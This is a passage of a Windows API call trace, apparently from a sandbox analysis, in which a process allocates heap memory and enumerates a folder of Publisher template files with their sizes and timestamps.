(HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.652] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cada0 [0079.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabcda8 [0079.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.653] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xb95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD98.POC", cAlternateFileName="")) returned 1 [0079.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.653] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.653] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cadc0 [0079.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabce30 [0079.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.654] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADRESPEL.POC", cAlternateFileName="")) returned 1 [0079.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.654] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.654] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11cade0 [0079.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabceb8 [0079.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.655] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x594c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR98.POC", cAlternateFileName="")) returned 1 [0079.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.655] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.655] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xabbb98 [0079.656] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabbb98) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa402, dwReserved0=0x0, dwReserved1=0x0, cFileName="AWARDHM.POC", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x91cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BAN98.POC", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16892b00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16892b00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xd2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.DPV", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd27b00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3fd27b00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x236c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.XML", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x4d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDRTKFUL.POC", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18eb8500, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18eb8500, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x3f40c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZCARD.DPV", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47cde200, ftCreationTime.dwHighDateTime=0x1c9d396, ftLastAccessTime.dwLowDateTime=0x5f690dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47cde200, ftLastWriteTime.dwHighDateTime=0x1c9d396, nFileSizeHigh=0x0, nFileSizeLow=0x31ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZCARD.XML", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d76700, ftCreationTime.dwHighDateTime=0x1c5ee67, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99d76700, ftLastWriteTime.dwHighDateTime=0x1c5ee67, nFileSizeHigh=0x0, nFileSizeLow=0x1b7ebe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZFORM.DPV", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397fc500, ftCreationTime.dwHighDateTime=0x1ca5c59, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x397fc500, ftLastWriteTime.dwHighDateTime=0x1ca5c59, nFileSizeHigh=0x0, nFileSizeLow=0x10a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIZFORM.XML", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e02aa00, ftCreationTime.dwHighDateTime=0x1c9c882, ftLastAccessTime.dwLowDateTime=0x51a3b970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e02aa00, ftLastWriteTime.dwHighDateTime=0x1c9c882, nFileSizeHigh=0x0, nFileSizeLow=0xf0ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERBB.DPV", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43ef0c00, ftCreationTime.dwHighDateTime=0x1c97a03, ftLastAccessTime.dwLowDateTime=0x5fff0470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43ef0c00, ftLastWriteTime.dwHighDateTime=0x1c97a03, nFileSizeHigh=0x0, nFileSizeLow=0x4e42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BORDERBB.POC", cAlternateFileName="")) returned 1 [0079.656] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafd88300, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x600165d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xafd88300, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x3f046, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCH98SP.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba931800, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba931800, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x98f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCHUR11.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x243f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRCHUR98.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe5500, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bfe5500, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xa7190, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROCHURE.DPV", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x181eda00, ftCreationTime.dwHighDateTime=0x1c9d396, ftLastAccessTime.dwLowDateTime=0x600889f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x181eda00, ftLastWriteTime.dwHighDateTime=0x1c9d396, nFileSizeHigh=0x0, nFileSizeLow=0x757a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BROCHURE.XML", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS2BARB.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51ad3ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa26, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS4BOXES.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS53BOXS.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd991aa00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd991aa00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x12c2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCARD11.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac2d700, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdac2d700, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xe6f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCARDHM.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdac2d700, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdac2d700, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x6214, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCD98SP.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde565e00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde565e00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x3caa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BZCRD98.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b8ea00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x51bb8730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36b8ea00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x148f52, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.DPV", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f308b00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9f308b00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x2614, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.XML", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9e500, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9e500, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x329e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALHM.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x940b200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c049f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x940b200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1a6da2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALNDR98.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd43900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60251a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd43900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x1b8c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALSO11.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x178ece00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60251a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x178ece00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x696d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALSO98.POC", cAlternateFileName="")) returned 1 [0079.657] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24d74700, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24d74700, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x4e4ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATALOG.DPV", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6579900, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x6035c410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6579900, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x1e56, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATALOG.XML", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c538200, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x6035c410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c538200, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x62f96, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATWIZ.POC", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x24f44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CATWIZ11.POC", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73b44000, ftCreationTime.dwHighDateTime=0x1c65228, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73b44000, ftLastWriteTime.dwHighDateTime=0x1c65228, nFileSizeHigh=0x0, nFileSizeLow=0x2c1df, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT.DPV", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1122e00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1122e00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x170a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT.XML", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x11b82, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT98.POC", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb5dc00, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1eb5dc00, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x53bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="CERT98SP.POC", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fe70900, ftCreationTime.dwHighDateTime=0x1c4a110, ftLastAccessTime.dwLowDateTime=0x51c76e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1fe70900, ftLastWriteTime.dwHighDateTime=0x1c4a110, nFileSizeHigh=0x0, nFileSizeLow=0x170e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHECKER.POC", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x932e9200, ftCreationTime.dwHighDateTime=0x1c9c700, ftLastAccessTime.dwLowDateTime=0x51ce9230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x932e9200, ftLastWriteTime.dwHighDateTime=0x1c9c700, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTACTINFOBB.DPV", cAlternateFileName="")) returned 1 [0079.658] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x854dcb00, ftCreationTime.dwHighDateTime=0x1c9c314, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x854dcb00, ftLastWriteTime.dwHighDateTime=0x1c9c314, nFileSizeHigh=0x0, 